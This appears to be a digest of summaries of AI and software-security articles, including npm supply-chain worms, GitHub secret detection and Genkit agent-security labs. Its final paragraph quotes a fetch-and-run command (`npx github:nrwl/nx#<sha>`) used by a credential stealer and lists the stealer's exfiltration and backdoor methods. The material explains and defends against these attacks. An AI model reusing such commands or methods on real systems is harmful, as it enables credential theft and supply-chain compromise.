Onboard Lightweight LLM Reasoning for Human-Aware Safe UAV NavigationPresents a modular, fully onboard UAV navigation pipeline that closes the "human-aware safety gap" of geometry-only planners. A shared BLIP encoder drives captioning and text-conditioned segmentation, which is fused with depth for 3D obstacle localization. Qwen-2.5-0.5B, stabilized with RAG and grammar-constrained JSON decoding, infers per-category risk once per class and caches the verdict. Perception runs at 10 Hz on a Jetson Orin NX, and fallback LLM queries take about 0.8 s off the control path. In Gazebo it gives roughly 3x fewer collisions than a geometric planner and raises semantics-aware landing success from 34% to 96%. The 224-pixel encoder input limits small-object perception at range.

GitHubβs model for secret detection: Finding more secrets with less noiseGitHub describes replacing an LLM-based generic secret detection pipeline with a two-stage system. High-recall regex generates candidates, then a fine-tuned ModernBERT classifier scores each one using its file path, secret type, variable names and surrounding context. Training data mixes product feedback, weak-labelled regex candidates and synthetic hard negatives, with splits grouped by repository, value or example. The model is exported to ONNX with 8-bit quantization. Reported results against the LLM pipeline: 13% higher precision, 19% higher recall, 11.5% higher owner-weighted acceptance in an A/B test, 86% lower median post-push scan time and over 98% lower serving cost. It is a concrete case for using a small fine-tuned encoder instead of an LLM on a narrow, measurable classification task.

Shai-Hulud was the best thing to happen to supply chain securityAikido Security tracks npm's Trusted Publishing (OIDC-based, short-lived credential) adoption over 18 months and shows it only spiked after each major supply-chain attack rather than from advisories or blog posts β jumping from a ~40/week baseline to 430/week after the Nx Console/AntV compromise, yet still leaving 40,369 of the top 51,370 packages (75% of download volume) on long-lived tokens. It chronicles the full attack progression from credential-phishing (Debug/Chalk, Axios) through Pwn Request-driven CI compromise (S1ngularity, Shai-Hulud 2.0) to the Mini Shai-Hulud II/TanStack attack, which poisoned the GitHub Actions cache to extract a live OIDC token from runner memory and publish packages with valid SLSA Build Level 3 provenance β proving Trusted Publishing itself can be turned into the attack vector rather than just bypassed. It closes by arguing the security community should proactively pressure high-download holdout maintainers rather than wait for the next worm.

AI Development and Agentic Security LabsA deep-dive lab series (AIDS-01 through at least AIDS-02 shown) teaching security patterns for AI-powered applications built on Google's Genkit framework, covering flow input/output validation with Zod, streaming chunk validation, telemetry data exposure, and agentic tool-calling security including least-privilege tool design, human-in-the-loop approval via tool interrupts, and maxTurns limits against runaway execution. Each lab includes concrete vulnerable-vs-secure TypeScript code, curl-based exploit walkthroughs (prompt injection to extract secrets, payload-inflation cost attacks, XSS via unsanitized LLM output, SQL-tool abuse for data exfiltration, privilege escalation via an over-permissioned modifyPermissions tool), plus detection (regex injection detection, OTel telemetry filtering) and verification tests. The broader 40-lab set spans multi-agent frameworks (LangGraph, CrewAI, AutoGen), MCP tool poisoning, LLM guardrails (NeMo Guardrails, Garak, promptfoo), and real CVEs/incidents like TorchServe, ONNX, the Cursor MCP exploit, and the Morris-II worm.

unlazy is an agent skill for Claude Code, Codex CLI and other agent harnesses that enforces "completion discipline": before AI-agent work is reported done, it must satisfy a ledger of runnable gates (GATES.md) whose shell/Node checks are executed and whose output must match a declared EXPECT: string, with digest-bound evidence, approval records, and --reverify to re-run already-"complete" gates. It also provides scoped multi-leaf/branch orchestration with lease-based claiming for parallel agent dispatch, a Claude Code Stop-hook that blocks premature completion, and documentation of the threat model (shell resolution, PATH, approval storage) around executing arbitrary checker commands. The README grounds the design in cited research on LLM laziness, premature truncation, and over/under-thinking (e.g. METR's Time Horizon, SlopCodeBench, OptimalThinkingBench, s1), while being explicit that this research motivates but does not prove the tool's effectiveness.

Socket: actions/checkout v7 Blocks Unsafe pull_request_target CheckoutsGitHub released actions/checkout v7, which by default blocks checkouts of untrusted fork pull request code (via refs/pull/*/merge, fork head SHA, or fork repository) when running under pull_request_target or workflow_run-from-pull-request events, closing a long-known "pwn request" vector that grants attacker-controlled code access to base-repo secrets and GITHUB_TOKEN. The protection auto-applies to workflows pinned to floating major tags and backports to all supported versions on July 16, 2026; an allow-unsafe-pr-checkout opt-out flag is provided for workflows that intentionally need the old behavior. The article ties the change to real incidents (Nx supply chain attack, Shai-Hulud second wave via PostHog, and the TanStack compromise combining pwn request with cache poisoning and OIDC token extraction) and notes the fix only covers actions/checkout itself, not git/gh CLI or other checkout mechanisms.

The payload silently ran `npx github:nrwl/nx#<sha>` to fetch a heavily obfuscated 498KB Bun/Node credential stealer that harvests secrets from GitHub, npm, AWS, Vault, Kubernetes, 1Password and Claude Code config, exfiltrates via HTTPS/GitHub API/DNS tunneling, installs a macOS Python backdoor using the GitHub Search API as a C2 dead-drop, and can forge valid Sigstore/SLSA provenance attestations for downstream npm packages.
